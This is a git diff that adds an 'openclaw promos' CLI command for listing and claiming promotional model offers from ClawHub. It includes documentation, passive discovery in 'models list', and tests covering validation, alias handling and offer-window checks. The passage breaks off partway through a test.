diff --git a/docs/cli/index.md b/docs/cli/index.md index e0e428ef31fc..dfbb3b03458b 100644 --- a/docs/cli/index.md +++ b/docs/cli/index.md @@ -26,7 +26,7 @@ Setup commands by intent: | Messaging and agents | [`message`](/cli/message) · [`agent`](/cli/agent) · [`agents`](/cli/agents) · [`attach`](/cli/attach) · [`acp`](/cli/acp) · [`mcp`](/cli/mcp) | | Health and sessions | [`status`](/cli/status) · [`health`](/cli/health) · [`sessions`](/cli/sessions) · [`audit`](/cli/audit) | | Gateway and logs | [`gateway`](/cli/gateway) · [`logs`](/cli/logs) · [`system`](/cli/system) | -| Models and inference | [`models`](/cli/models) · [`infer`](/cli/infer) · `capability` (alias for [`infer`](/cli/infer)) · [`memory`](/cli/memory) · [`commitments`](/cli/commitments) · [`wiki`](/cli/wiki) | +| Models and inference | [`models`](/cli/models) · [`promos`](/cli/promos) · [`infer`](/cli/infer) · `capability` (alias for [`infer`](/cli/infer)) · [`memory`](/cli/memory) · [`commitments`](/cli/commitments) · [`wiki`](/cli/wiki) | | Network and nodes | [`directory`](/cli/directory) · [`nodes`](/cli/nodes) · [`devices`](/cli/devices) · [`node`](/cli/node) | | Runtime and sandbox | [`approvals`](/cli/approvals) · `exec-policy` (see [`approvals`](/cli/approvals)) · [`sandbox`](/cli/sandbox) · [`tui`](/cli/tui) · `chat`/`terminal` (aliases for [`tui --local`](/cli/tui)) · [`browser`](/cli/browser) | | Automation | [`cron`](/cli/cron) · [`tasks`](/cli/tasks) · [`hooks`](/cli/hooks) · [`webhooks`](/cli/webhooks) · [`transcripts`](/cli/transcripts) | @@ -285,6 +285,9 @@ openclaw [--dev] [--profile ] scan auth list|add|login|setup-token|paste-token|paste-api-key|login-github-copilot auth order get|set|clear + promos + list + claim infer (alias: capability) list inspect diff --git a/docs/cli/promos.md b/docs/cli/promos.md new file mode 100644 index 000000000000..9e969f960635 --- /dev/null +++ b/docs/cli/promos.md @@ -0,0 +1,81 @@ +--- +summary: "CLI reference for `openclaw promos` (list and claim promotional model offers)" +read_when: + - You want to try a free promotional model offer from ClawHub + - You are configuring a provider through a promotion instead of onboarding +title: "Promos" +--- + +# `openclaw promos` + +Discover and claim promotional model offers published on ClawHub. Claiming a +promotion configures the provider (auth and plugin, when needed) and registers +the promotion's models — without re-running onboarding and without changing +your default model unless you say so. + +Related: + +- Default model and fallbacks: [Models](/cli/models) +- Provider auth setup: [Getting started](/start/getting-started) + +## Commands + +```bash +openclaw promos list +openclaw promos claim +openclaw promos claim --api-key --set-default +``` + +## `openclaw promos list` + +Lists promotions that are currently live, with their models, the suggested +default, time remaining, and the exact claim command. `--json` prints the raw +payload. + +## `openclaw promos claim ` + +Claims a live promotion: + +1. Fetches the promotion from ClawHub and verifies it is inside its window. +2. Validates the promotion's provider, auth choice, and declared plugin packages + against your installed OpenClaw version. Unknown ids or package mismatches are + refused — a promotion can never make the CLI run anything it does not already + know how to do. +3. Reuses your existing provider credentials when you have them. Otherwise it + walks the provider's normal auth flow (printing the promotion's signup URL + for a free key first). `--api-key ` completes API-key auth without + prompts, matching the `openclaw onboard` non-interactive flags; to keep the + key off the command line, export the provider's environment variable + instead (for example `OPENROUTER_API_KEY`) — existing env credentials are + detected automatically and no flag is needed. +4. Registers the promotion's models with their aliases. Existing aliases are + never overwritten. +5. Offers to set the promotion's suggested model as your default — + `--set-default` skips the question; otherwise nothing about your defaults + changes. + +When the promotion's window ends, the provider stops serving the free models; +your configuration and credentials are untouched. Switch back anytime with +`openclaw models set `. + +## Passive discovery in `models list` + +`openclaw models list` also surfaces promotions without you asking ClawHub +directly: + +- Live offers whose models you have not configured appear in an + "Available via promotion" group below the table, each with its claim + command. +- Models you registered through `promos claim` carry a `promo` tag, which + flips to `promo ended` once the offer's window passes. +- The first time a new offer is seen, a one-time notice points at + `openclaw promos list`. Offers you have already listed or claimed are never + announced again. + +This reads a locally cached copy of ClawHub's hosted promotions feed +(normally refreshed once a day with a conditional request, or earlier when the +cached snapshot expires; refresh failures are silently skipped). A stale +refresh waits at most 2.5 seconds and never breaks the listing. `--json` and +`--plain` output stay machine-clean: no promotion sections or notices. +Claiming always revalidates against the live ClawHub API, so an offer withdrawn +early is refused even while a cached copy still shows it. diff --git a/docs/docs.json b/docs/docs.json index e6bc4d968ddc..bf6c07857c6e 100644 --- a/docs/docs.json +++ b/docs/docs.json @@ -1754,6 +1754,7 @@ "cli/commitments", "cli/message", "cli/models", + "cli/promos", "cli/sessions", "cli/system", "cli/tasks" diff --git a/docs/docs_map.md b/docs/docs_map.md index a2f1ba601f71..5f03c2442e53 100644 --- a/docs/docs_map.md +++ b/docs/docs_map.md @@ -1828,6 +1828,16 @@ Do not edit it by hand; run `pnpm docs:map:gen`. - H2: Exit codes - H2: Related +## cli/promos.md + +- Route: /cli/promos +- Headings: + - H1: openclaw promos + - H2: Commands + - H2: openclaw promos list + - H2: openclaw promos claim <slug> + - H2: Passive discovery in models list + ## cli/proxy.md - Route: /cli/proxy diff --git a/src/cli/program/register.subclis-core.ts b/src/cli/program/register.subclis-core.ts index b20c9b3dff4e..2dfc0728b177 100644 --- a/src/cli/program/register.subclis-core.ts +++ b/src/cli/program/register.subclis-core.ts @@ -121,6 +121,11 @@ const entrySpecs: readonly CommandGroupDescriptorSpec[] = [ loadModule: () => import("../models-cli.js"), exportName: "registerModelsCli", }, + { + commandNames: ["promos"], + loadModule: () => import("../promos-cli.js"), + exportName: "registerPromosCli", + }, { commandNames: ["infer", "capability"], loadModule: () => import("../capability-cli.js"), diff --git a/src/cli/program/subcli-descriptors.ts b/src/cli/program/subcli-descriptors.ts index 57648bd429e1..3bb6a4d8ed75 100644 --- a/src/cli/program/subcli-descriptors.ts +++ b/src/cli/program/subcli-descriptors.ts @@ -29,6 +29,11 @@ const subCliCommandCatalog = defineCommandDescriptorCatalog([ description: "Model discovery, scanning, and configuration", hasSubcommands: true, }, + { + name: "promos", + description: "Discover and claim promotional model offers from ClawHub", + hasSubcommands: true, + }, { name: "infer", description: "Run provider-backed inference commands through a stable CLI surface", diff --git a/src/cli/promos-cli.ts b/src/cli/promos-cli.ts new file mode 100644 index 000000000000..338bf5130ef4 --- /dev/null +++ b/src/cli/promos-cli.ts @@ -0,0 +1,44 @@ +/** CLI registration for ClawHub promotional model offers. */ +import type { Command } from "commander"; +import { formatDocsLink } from "../../packages/terminal-core/src/links.js"; +import { theme } from "../../packages/terminal-core/src/theme.js"; +import { defaultRuntime } from "../runtime.js"; +import { runCommandWithRuntime } from "./cli-utils.js"; + +export function registerPromosCli(program: Command) { + const promos = program + .command("promos") + .description("Discover and claim promotional model offers from ClawHub") + .addHelpText( + "after", + () => + `\n${theme.muted("Docs:")} ${formatDocsLink("/cli/promos", "docs.openclaw.ai/cli/promos")}\n`, + ); + + promos + .command("list") + .description("List active promotions") + .option("--json", "Output JSON", false) + .action(async (opts: { json?: boolean }) => { + await runCommandWithRuntime(defaultRuntime, async () => { + const { promosListCommand } = await import("../commands/promos/list.js"); + await promosListCommand(opts, defaultRuntime); + }); + }); + + promos + .command("claim") + .description("Claim a promotion: set up provider auth and register its models") + .argument("", "Promotion slug from `openclaw promos list`") + // Credential-on-argv matches the shipped `onboard ---api-key` / + // `onboard --token` non-interactive contract (AGENTS.md: public API). The + // no-argv alternative is the provider's env var, detected as existing auth. + .option("--api-key ", "Provider API key for non-interactive setup") + .option("--set-default", "Set the promotion's suggested model as default without asking", false) + .action(async (slug: string, opts: { apiKey?: string; setDefault?: boolean }) => { + await runCommandWithRuntime(defaultRuntime, async () => { + const { promosClaimCommand } = await import("../commands/promos/claim.js"); + await promosClaimCommand(slug, opts, defaultRuntime); + }); + }); +} diff --git a/src/commands/models/list.list-command.ts b/src/commands/models/list.list-command.ts index 2e9cdf4535d2..bd6e051daac3 100644 --- a/src/commands/models/list.list-command.ts +++ b/src/commands/models/list.list-command.ts @@ -18,10 +18,14 @@ import { DEFAULT_PROVIDER, ensureFlagCompatibility } from "./shared.js"; const DISPLAY_MODEL_PARSE_OPTIONS = { allowPluginNormalization: false } as const; +type PromotionsModule = typeof import("./list.promotions.js"); type RegistryLoadModule = typeof import("./list.registry-load.js"); type RowSourcesModule = typeof import("./list.row-sources.js"); type SourcePlanModule = typeof import("./list.source-plan.js"); +const promotionsModuleLoader = createLazyImportLoader( + () => import("./list.promotions.js"), +); const registryLoadModuleLoader = createLazyImportLoader( () => import("./list.registry-load.js"), ); @@ -243,12 +247,33 @@ export async function modelsListCommand( ); } + // Promotion decorations are best-effort: claim tags come from local + // provenance, and the discovery section reads a cadence-gated feed cache. + // Neither may break the core listing; stale refreshes have a short timeout. + const promotionsModule = await promotionsModuleLoader.load(); + try { + promotionsModule.applyPromotionClaimTags(rows); + } catch { + // Tags are annotation-only. + } if (rows.length === 0) { runtime.log("No models found."); - requestExitAfterOneShotOutput(runtime); - return; + } else { + printModelTable(rows, runtime, opts); + } + if (!opts.json && !opts.plain) { + // Runs on the empty listing too: a fresh install with zero configured + // models is exactly the user passive discovery is for. Compares against + // the configured entries, not the rendered rows — filtered and --all + // listings show a different set. + try { + await promotionsModule.printAvailablePromotionsSection({ + configuredKeys: new Set(entries.map((entry) => entry.key)), + runtime, + }); + } catch { + // Passive discovery must never fail the listing. + } } - - printModelTable(rows, runtime, opts); requestExitAfterOneShotOutput(runtime); } diff --git a/src/commands/models/list.promotions.test.ts b/src/commands/models/list.promotions.test.ts new file mode 100644 index 000000000000..10f4b0cf964b --- /dev/null +++ b/src/commands/models/list.promotions.test.ts @@ -0,0 +1,171 @@ +// Covers `models list` promotion decorations: claim tags and the passive +// discovery section fed by the cached promotions feed. +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { maybeRefreshPromotionsFeed, recordPromotionClaim } from "../../infra/promotions-feed.js"; +import type { RuntimeEnv } from "../../runtime.js"; +import { closeOpenClawStateDatabaseForTest } from "../../state/openclaw-state-db.js"; +import { + createOpenClawTestState, + type OpenClawTestState, +} from "../../test-utils/openclaw-test-state.js"; +import { applyPromotionClaimTags, printAvailablePromotionsSection } from "./list.promotions.js"; +import type { ModelRow } from "./list.types.js"; + +const NOW = Date.parse("2026-07-05T12:00:00.000Z"); + +function makeRow(key: string): ModelRow { + return { + key, + name: key, + input: "text", + contextWindow: null, + local: null, + available: true, + tags: [], + missing: false, + }; +} + +function makeRuntime() { + const lines: string[] = []; + const runtime = { + log: vi.fn((line: string) => { + lines.push(line); + }), + error: vi.fn(), + } as unknown as RuntimeEnv; + return { runtime, lines }; +} + +function feedPayload(entries: unknown[]) { + return { + schemaVersion: 1, + id: "clawhub-promotions", + generatedAt: "2026-07-05T00:00:00.000Z", + sequence: 1, + expiresAt: "2026-07-06T00:00:00.000Z", + entries, + }; +} + +const liveEntry = { + type: "promotion", + slug: "example-models-launch", + title: "Free Example models", + blurb: "Limited-time offer.", + startsAt: NOW - 86_400_000, + endsAt: NOW + 86_400_000, + provider: "example-provider", + models: [{ modelRef: "example-provider/example/model-alpha", alias: "model-alpha" }], +}; + +async function seedFeedCache(entries: unknown[]) { + const fetchImpl = vi.fn( + async () => + new Response(JSON.stringify(feedPayload(entries)), { + status: 200, + headers: { "content-type": "application/json" }, + }), + ); + await maybeRefreshPromotionsFeed({ nowMs: NOW, force: true, fetchImpl }); +} + +describe("models list promotion decorations", () => { + let testState: OpenClawTestState; + + beforeEach(async () => { + testState = await createOpenClawTestState({ + layout: "state-only", + prefix: "openclaw-list-promotions-", + }); + }); + + afterEach(async () => { + closeOpenClawStateDatabaseForTest(); + await testState.cleanup(); + }); + + it("tags claimed promo models and flips to ended past the window", () => { + recordPromotionClaim({ + slug: "example-models-launch", + provider: "example-provider", + modelKeys: ["example-provider/example/model-alpha"], + endsAtMs: NOW + 86_400_000, + claimedAtMs: NOW, + }); + recordPromotionClaim({ + slug: "old-offer", + provider: "example-provider", + modelKeys: ["example-provider/example/model-old"], + endsAtMs: NOW - 1, + claimedAtMs: NOW - 86_400_000, + }); + const rows = [ + makeRow("example-provider/example/model-alpha"), + makeRow("example-provider/example/model-old"), + makeRow("unrelated/model"), + ]; + applyPromotionClaimTags(rows, NOW); + expect(rows[0]?.tags).toContain("promo"); + expect(rows[1]?.tags).toContain("promo ended"); + expect(rows[2]?.tags).toHaveLength(0); + }); + + it("prints the available-via-promotion section for unconfigured models", async () => { + await seedFeedCache([liveEntry]); + const { runtime, lines } = makeRuntime(); + await printAvailablePromotionsSection({ + configuredKeys: new Set(["other/model"]), + runtime, + nowMs: NOW, + }); + const text = lines.join("\n"); + expect(text).toContain("Available via promotion:"); + expect(text).toContain("Free Example models"); + expect(text).toContain("example-provider/example/model-alpha"); + expect(text).toContain("openclaw promos claim example-models-launch"); + expect(text).toContain("New promotional model offers"); + }); + + it("suppresses the section once the promo models are configured and notices once", async () => { + await seedFeedCache([liveEntry]); + const configured = new Set(["example-provider/example/model-alpha"]); + const first = makeRuntime(); + await printAvailablePromotionsSection({ + configuredKeys: configured, + runtime: first.runtime, + nowMs: NOW, + }); + const firstText = first.lines.join("\n"); + expect(firstText).not.toContain("Available via promotion:"); + // Still announces a never-seen offer once, then never again. + expect(firstText).toContain("New promotional model offers"); + const second = makeRuntime(); + await printAvailablePromotionsSection({ + configuredKeys: configured, + runtime: second.runtime, + nowMs: NOW, + }); + expect(second.lines.join("\n")).toBe(""); + }); + + it("renders the section for an empty model list (fresh install)", async () => { + await seedFeedCache([liveEntry]); + const { runtime, lines } = makeRuntime(); + await printAvailablePromotionsSection({ configuredKeys: new Set(), runtime, nowMs: NOW }); + const text = lines.join("\n"); + expect(text).toContain("Available via promotion:"); + expect(text).toContain("openclaw promos claim example-models-launch"); + }); + + it("stays silent when the cached window has passed", async () => { + await seedFeedCache([{ ...liveEntry, startsAt: NOW - 2 * 86_400_000, endsAt: NOW - 1 }]); + const { runtime, lines } = makeRuntime(); + await printAvailablePromotionsSection({ + configuredKeys: new Set(["other/model"]), + runtime, + nowMs: NOW, + }); + expect(lines.join("\n")).toBe(""); + }); +}); diff --git a/src/commands/models/list.promotions.ts b/src/commands/models/list.promotions.ts new file mode 100644 index 000000000000..4c63a310b67b --- /dev/null +++ b/src/commands/models/list.promotions.ts @@ -0,0 +1,111 @@ +/** Promotion decorations for `models list`: claim tags + passive discovery. */ +import { sanitizeTerminalText } from "../../../packages/terminal-core/src/safe-text.js"; +import { modelKey } from "../../agents/model-selection-normalize.js"; +import { formatCliCommand } from "../../cli/command-format.js"; +import type { ClawHubPromotionsFeedEntry } from "../../infra/clawhub.js"; +import { + listLivePromotionEntries, + markPromotionSlugsNotified, + maybeRefreshPromotionsFeed, + readPromotionClaims, +} from "../../infra/promotions-feed.js"; +import type { RuntimeEnv } from "../../runtime.js"; +import type { ModelRow } from "./list.types.js"; + +const PROMOTIONS_SECTION_MAX_ENTRIES = 3; + +/** + * Tag configured rows that were registered by `promos claim`, flipping to + * "promo ended" once the window passes so users learn why a model stopped + * serving. Reads only local provenance; never the network. + */ +export function applyPromotionClaimTags(rows: ModelRow[], nowMs = Date.now()): void { + const claims = readPromotionClaims(); + if (claims.length === 0) { + return; + } + const endsByKey = new Map(); + for (const claim of claims) { + for (const key of claim.modelKeys) { + const prev = endsByKey.get(key); + if (prev === undefined || claim.endsAtMs > prev) { + endsByKey.set(key, claim.endsAtMs); + } + } + } + for (const row of rows) { + const endsAtMs = endsByKey.get(row.key); + if (endsAtMs === undefined) { + continue; + } + row.tags.push(endsAtMs < nowMs ? "promo ended" : "promo"); + } +} + +function canonicalPromotionModelKey( + entry: ClawHubPromotionsFeedEntry, + modelRef: string, +): string | undefined { + const provider = entry.provider?.trim(); + const prefix = provider ? `${provider}/` : ""; + if (!provider || !modelRef.startsWith(prefix) || modelRef.length <= prefix.length) { + return undefined; + } + return modelKey(provider, modelRef.slice(prefix.length)); +} + +/** + * Passive discovery: cadence-gated feed refresh (fail-silent), an + * "Available via promotion" group for live offers whose models are not + * configured yet, and a one-time notice per newly seen offer. Callers gate + * machine outputs (`--json`/`--plain`) — this only ever writes human text. + * `configuredKeys` must be the user's configured model set, not the + * rendered rows — filtered or `--all` listings show a different set. + */ +export async function printAvailablePromotionsSection(params: { + configuredKeys: ReadonlySet; + runtime: RuntimeEnv; + nowMs?: number; +}): Promise { + const nowMs = params.nowMs ?? Date.now(); + const state = await maybeRefreshPromotionsFeed({ nowMs }); + const live = listLivePromotionEntries(state, nowMs); + if (live.length === 0) { + return; + } + const unclaimed = live.filter((entry) => + entry.models.some((model) => { + const key = canonicalPromotionModelKey(entry, model.modelRef); + return key !== undefined && !params.configuredKeys.has(key); + }), + ); + const { runtime } = params; + const safe = sanitizeTerminalText; + if (unclaimed.length > 0) { + runtime.log(""); + runtime.log("Available via promotion:"); + for (const entry of unclaimed.slice(0, PROMOTIONS_SECTION_MAX_ENTRIES)) { + const sponsor = entry.sponsor ? ` — ${safe(entry.sponsor)}` : ""; + runtime.log( + ` ${safe(entry.title)}${sponsor} (ends ${new Date(entry.endsAt).toLocaleDateString()})`, + ); + for (const model of entry.models) { + const alias = model.alias ? ` (${safe(model.alias)})` : ""; + runtime.log(` · ${safe(model.modelRef)}${alias}`); + } + runtime.log(` Claim: ${formatCliCommand(`openclaw promos claim ${safe(entry.slug)}`)}`); + } + if (unclaimed.length > PROMOTIONS_SECTION_MAX_ENTRIES) { + const more = unclaimed.length - PROMOTIONS_SECTION_MAX_ENTRIES; + runtime.log(` …and ${more} more: ${formatCliCommand("openclaw promos list")}`); + } + } + const unseen = live.filter((entry) => !state.notifiedSlugs.has(entry.slug)); + if (unseen.length > 0) { + runtime.log(""); + runtime.log( + `🎁 New promotional model offers available — ${formatCliCommand("openclaw promos list")} for details.`, + ); + markPromotionSlugsNotified(unseen.map((entry) => entry.slug)); + } +} diff --git a/src/commands/promos/claim.test.ts b/src/commands/promos/claim.test.ts new file mode 100644 index 000000000000..88018bdc9b8c --- /dev/null +++ b/src/commands/promos/claim.test.ts @@ -0,0 +1,465 @@ +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import type { RuntimeEnv } from "../../runtime.js"; + +const mocks = vi.hoisted(() => ({ + fetchClawHubPromotion: vi.fn(), + hasAvailableAuthForProvider: vi.fn(), + applyAuthChoiceLoadedPluginProvider: vi.fn(), + resolveManifestProviderAuthChoice: vi.fn(), + resolveProviderInstallCatalogEntry: vi.fn(), + loadManifestMetadataSnapshot: vi.fn(), + readConfigFileSnapshot: vi.fn(), + replaceConfigFile: vi.fn(), + promptYesNo: vi.fn(), + enablePluginInConfig: vi.fn(), + repairCodex: vi.fn(), + repairCopilot: vi.fn(), + recordPromotionClaim: vi.fn(), + markPromotionSlugsNotified: vi.fn(), +})); + +vi.mock("../../infra/promotions-feed.js", () => ({ + recordPromotionClaim: mocks.recordPromotionClaim, + markPromotionSlugsNotified: mocks.markPromotionSlugsNotified, +})); + +vi.mock("../../infra/clawhub.js", async () => { + const actual = + await vi.importActual("../../infra/clawhub.js"); + return { + ...actual, + fetchClawHubPromotion: mocks.fetchClawHubPromotion, + }; +}); + +vi.mock("../../agents/model-auth.js", () => ({ + hasAvailableAuthForProvider: mocks.hasAvailableAuthForProvider, +})); + +vi.mock("../../plugins/provider-auth-choice.js", () => ({ + applyAuthChoiceLoadedPluginProvider: mocks.applyAuthChoiceLoadedPluginProvider, +})); + +vi.mock("../../plugins/provider-auth-choices.js", () => ({ + resolveManifestProviderAuthChoice: mocks.resolveManifestProviderAuthChoice, +})); + +vi.mock("../../plugins/provider-install-catalog.js", () => ({ + resolveProviderInstallCatalogEntry: mocks.resolveProviderInstallCatalogEntry, +})); + +vi.mock("../../plugins/manifest-contract-eligibility.js", () => ({ + loadManifestMetadataSnapshot: mocks.loadManifestMetadataSnapshot, +})); + +vi.mock("../../config/config.js", async () => { + const actual = + await vi.importActual("../../config/config.js"); + return { + ...actual, + readConfigFileSnapshot: mocks.readConfigFileSnapshot, + replaceConfigFile: mocks.replaceConfigFile, + }; +}); + +vi.mock("../../cli/prompt.js", () => ({ + promptYesNo: mocks.promptYesNo, +})); + +vi.mock("../../plugins/enable.js", () => ({ + enablePluginInConfig: mocks.enablePluginInConfig, +})); + +vi.mock("../codex-runtime-plugin-install.js", () => ({ + repairCodexRuntimePluginInstallForModelSelection: mocks.repairCodex, +})); + +vi.mock("../copilot-runtime-plugin-install.js", () => ({ + repairCopilotRuntimePluginInstallForModelSelection: mocks.repairCopilot, +})); + +vi.mock("../../wizard/clack-prompter.js", () => ({ + createClackPrompter: vi.fn(() => ({})), +})); + +const { ClawHubRequestError } = await import("../../infra/clawhub.js"); +const { promosClaimCommand } = await import("./claim.js"); + +function makeRuntime(): RuntimeEnv { + return { log: vi.fn(), error: vi.fn(), exit: vi.fn() } as unknown as RuntimeEnv; +} + +const now = Date.now(); + +function makePromotion(overrides: Record = {}) { + return { + slug: "spring-models", + title: "Free Example models", + blurb: "A limited-time offer.", + status: "active", + active: true, + startsAt: now - 1_000, + endsAt: now + 86_400_000, + provider: "openrouter", + authChoiceId: "openrouter-api-key", + models: [ + { modelRef: "openrouter/example/model-alpha", alias: "model-alpha", suggestedDefault: true }, + ], + signupUrl: "https://signup.example.com", + ...overrides, + }; +} + +function makeSnapshot(config: Record = {}) { + return { + valid: true, + path: "/tmp/openclaw.json", + hash: "hash-1", + issues: [], + config, + sourceConfig: config, + runtimeConfig: config, + }; +} + +const authChoice = { + pluginId: "openrouter", + providerId: "openrouter", + methodId: "api-key", + choiceId: "openrouter-api-key", + choiceLabel: "OpenRouter API key", + optionKey: "openrouterApiKey", +}; + +beforeEach(() => { + vi.clearAllMocks(); + mocks.readConfigFileSnapshot.mockResolvedValue(makeSnapshot()); + mocks.replaceConfigFile.mockResolvedValue(undefined); + mocks.hasAvailableAuthForProvider.mockResolvedValue(true); + mocks.resolveManifestProviderAuthChoice.mockReturnValue(authChoice); + mocks.resolveProviderInstallCatalogEntry.mockReturnValue(undefined); + mocks.loadManifestMetadataSnapshot.mockReturnValue({ + manifestRegistry: { + plugins: [{ id: "openrouter", packageName: "@openclaw/openrouter-provider" }], + }, + }); + mocks.promptYesNo.mockResolvedValue(false); + mocks.enablePluginInConfig.mockImplementation((cfg: unknown, pluginId: string) => ({ + config: cfg, + enabled: true, + pluginId, + })); + mocks.fetchClawHubPromotion.mockResolvedValue(makePromotion()); + mocks.repairCodex.mockResolvedValue({ warnings: [] }); + mocks.repairCopilot.mockResolvedValue({ warnings: [] }); +}); + +afterEach(() => { + vi.restoreAllMocks(); +}); + +describe("promosClaimCommand", () => { + it("registers promo models with aliases without changing the default", async () => { + const runtime = makeRuntime(); + await promosClaimCommand("spring-models", {}, runtime); + + expect(mocks.replaceConfigFile).toHaveBeenCalledTimes(1); + const next = mocks.replaceConfigFile.mock.calls[0]?.[0]?.nextConfig; + expect(next.agents.defaults.models["openrouter/example/model-alpha"]).toEqual({ + alias: "model-alpha", + }); + expect(next.agents.defaults.model).toBeUndefined(); + expect(mocks.applyAuthChoiceLoadedPluginProvider).not.toHaveBeenCalled(); + // Provenance powers the `promo` tags in `models list` and future cleanup. + expect(mocks.recordPromotionClaim).toHaveBeenCalledWith( + expect.objectContaining({ + slug: "spring-models", + provider: "openrouter", + modelKeys: ["openrouter/example/model-alpha"], + }), + ); + expect(mocks.markPromotionSlugsNotified).toHaveBeenCalledWith(["spring-models"]); + }); + + it("sets the suggested model as default with --set-default", async () => { + const runtime = makeRuntime(); + await promosClaimCommand("spring-models", { setDefault: true }, runtime); + + const next = mocks.replaceConfigFile.mock.calls[0]?.[0]?.nextConfig; + expect(next.agents.defaults.model.primary).toBe("openrouter/example/model-alpha"); + // Default changes must run the same runtime plugin repair as `models set`. + expect(mocks.repairCodex).toHaveBeenCalledWith( + expect.objectContaining({ model: "openrouter/example/model-alpha" }), + ); + expect(mocks.repairCopilot).toHaveBeenCalled(); + }); + + it("skips aliases outside the models-aliases contract but still registers the model", async () => { + mocks.fetchClawHubPromotion.mockResolvedValue( + makePromotion({ + models: [{ modelRef: "openrouter/example/model-alpha", alias: "bad alias " }], + }), + ); + const runtime = makeRuntime(); + await promosClaimCommand("spring-models", {}, runtime); + + const next = mocks.replaceConfigFile.mock.calls[0]?.[0]?.nextConfig; + expect(next.agents.defaults.models["openrouter/example/model-alpha"]).toEqual({}); + }); + + it("keeps an existing alias owner and reports the skip", async () => { + const existing = { + agents: { + defaults: { + models: { "openrouter/other/model": { alias: "model-alpha" } }, + }, + }, + }; + mocks.readConfigFileSnapshot.mockResolvedValue(makeSnapshot(existing)); + const runtime = makeRuntime(); + await promosClaimCommand("spring-models", {}, runtime); + + const next = mocks.replaceConfigFile.mock.calls[0]?.[0]?.nextConfig; + expect(next.agents.defaults.models["openrouter/example/model-alpha"].alias).toBeUndefined(); + expect(next.agents.defaults.models["openrouter/other/model"].alias).toBe("model-alpha"); + }); + + it("runs the provider auth choice when no credentials exist", async () => { + // An explicit --api-key skips the reuse pre-check entirely; the only + // hasAvailableAuthForProvider call is the post-apply revalidation. + mocks.hasAvailableAuthForProvider.mockResolvedValue(true); + mocks.applyAuthChoiceLoadedPluginProvider.mockResolvedValue({ + config: { plugins: { entries: { openrouter: { enabled: true } } } }, + }); + const runtime = makeRuntime(); + await promosClaimCommand("spring-models", { apiKey: "sk-test" }, runtime); + + expect(mocks.applyAuthChoiceLoadedPluginProvider).toHaveBeenCalledWith( + expect.objectContaining({ + authChoice: "openrouter-api-key", + setDefaultModel: false, + opts: { openrouterApiKey: "sk-test" }, + }), + ); + // Auth config write plus the model registration write. + expect(mocks.replaceConfigFile).toHaveBeenCalledTimes(2); + }); + + it("runs the auth flow for an explicit --api-key even when other auth exists", async () => { + // hasAvailableAuthForProvider stays true; the explicit key must not be ignored. + mocks.applyAuthChoiceLoadedPluginProvider.mockResolvedValue({ config: {} }); + const runtime = makeRuntime(); + await promosClaimCommand("spring-models", { apiKey: "sk-explicit" }, runtime); + + expect(mocks.applyAuthChoiceLoadedPluginProvider).toHaveBeenCalledWith( + expect.objectContaining({ opts: { openrouterApiKey: "sk-explicit" } }), + ); + }); + + it("aborts when the auth flow asks for retry instead of completing", async () => { + mocks.hasAvailableAuthForProvider.mockResolvedValue(false); + mocks.applyAuthChoiceLoadedPluginProvider.mockResolvedValue({ + config: {}, + retrySelection: true, + }); + + await expect( + promosClaimCommand("spring-models", { apiKey: "sk-test" }, makeRuntime()), + ).rejects.toThrow(/not completed/); + expect(mocks.replaceConfigFile).not.toHaveBeenCalled(); + }); + + it("aborts when auth is still unavailable after the flow returns", async () => { + // Both the pre-check and the post-apply revalidation report no usable auth + // (e.g. the provider plugin was disabled and the flow returned unchanged). + mocks.hasAvailableAuthForProvider.mockResolvedValue(false); + mocks.applyAuthChoiceLoadedPluginProvider.mockResolvedValue({ config: {} }); + + await expect( + promosClaimCommand("spring-models", { apiKey: "sk-test" }, makeRuntime()), + ).rejects.toThrow(/not completed/); + expect(mocks.replaceConfigFile).not.toHaveBeenCalled(); + }); + + it("fails when the promotion's auth choice is unknown locally", async () => { + mocks.resolveManifestProviderAuthChoice.mockReturnValue(undefined); + mocks.resolveProviderInstallCatalogEntry.mockReturnValue(undefined); + + await expect(promosClaimCommand("spring-models", {}, makeRuntime())).rejects.toThrow( + /Update OpenClaw/, + ); + expect(mocks.replaceConfigFile).not.toHaveBeenCalled(); + }); + + it("fails when the auth choice belongs to a different provider", async () => { + mocks.resolveManifestProviderAuthChoice.mockReturnValue({ + ...authChoice, + providerId: "another-provider", + }); + + await expect(promosClaimCommand("spring-models", {}, makeRuntime())).rejects.toThrow( + /refusing to configure/, + ); + }); + + it("accepts a declared plugin package owned by the resolved auth choice", async () => { + mocks.fetchClawHubPromotion.mockResolvedValue( + makePromotion({ pluginNames: ["@openclaw/openrouter-provider"] }), + ); + + await promosClaimCommand("spring-models", {}, makeRuntime()); + + expect(mocks.replaceConfigFile).toHaveBeenCalledTimes(1); + }); + + it("refuses a declared plugin package not owned by the resolved auth choice", async () => { + mocks.fetchClawHubPromotion.mockResolvedValue( + makePromotion({ pluginNames: ["@openclaw/other-provider"] }), + ); + + await expect(promosClaimCommand("spring-models", {}, makeRuntime())).rejects.toThrow( + /requires plugin package/, + ); + expect(mocks.hasAvailableAuthForProvider).not.toHaveBeenCalled(); + expect(mocks.enablePluginInConfig).not.toHaveBeenCalled(); + expect(mocks.replaceConfigFile).not.toHaveBeenCalled(); + }); + + it("refuses models outside the promotion's provider", async () => { + mocks.fetchClawHubPromotion.mockResolvedValue( + makePromotion({ models: [{ modelRef: "sneaky-provider/model" }] }), + ); + + await expect(promosClaimCommand("spring-models", {}, makeRuntime())).rejects.toThrow( + /outside its provider/, + ); + expect(mocks.replaceConfigFile).not.toHaveBeenCalled(); + }); + + it("reports ended promotions with their end date", async () => { + mocks.fetchClawHubPromotion.mockResolvedValue( + makePromotion({ active: false, endsAt: now - 86_400_000 }), + ); + + await expect(promosClaimCommand("spring-models", {}, makeRuntime())).rejects.toThrow(/ended/); + }); + + it("enforces the window even when the payload claims active", async () => { + mocks.fetchClawHubPromotion.mockResolvedValue( + makePromotion({ active: true, endsAt: now - 60_000 }), + ); + await expect(promosClaimCommand("spring-models", {}, makeRuntime())).rejects.toThrow(/ended/); + + mocks.fetchClawHubPromotion.mockResolvedValue( + makePromotion({ active: true, startsAt: now + 60_000, endsAt: now + 86_400_000 }), + ); + await expect(promosClaimCommand("spring-models", {}, makeRuntime())).rejects.toThrow( + /not live/, + ); + expect(mocks.replaceConfigFile).not.toHaveBeenCalled(); + }); + + it("rechecks the window after authentication before updating model config", async () => { + vi.useFakeTimers(); + vi.setSystemTime(now); + mocks.fetchClawHubPromotion.mockResolvedValue( + makePromotion({ active: true, endsAt: now + 60_000 }), + ); + 